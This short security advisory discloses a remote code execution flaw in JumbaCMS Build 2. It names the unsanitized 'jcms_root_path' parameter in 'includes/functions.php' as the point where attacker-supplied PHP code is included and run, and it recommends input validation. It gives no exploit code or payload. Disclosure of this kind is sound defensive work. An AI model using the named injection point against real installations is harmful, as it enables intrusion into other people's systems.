JumbaCMS Build 2 Remote Command Execution Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input passed to the 'jcms_root_path' parameter in 'includes/functions.php' script. A remote attacker can execute arbitrary PHP code on the vulnerable system by passing it to the 'jcms_root_path' parameter. The code will be included and executed by the vulnerable script.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.
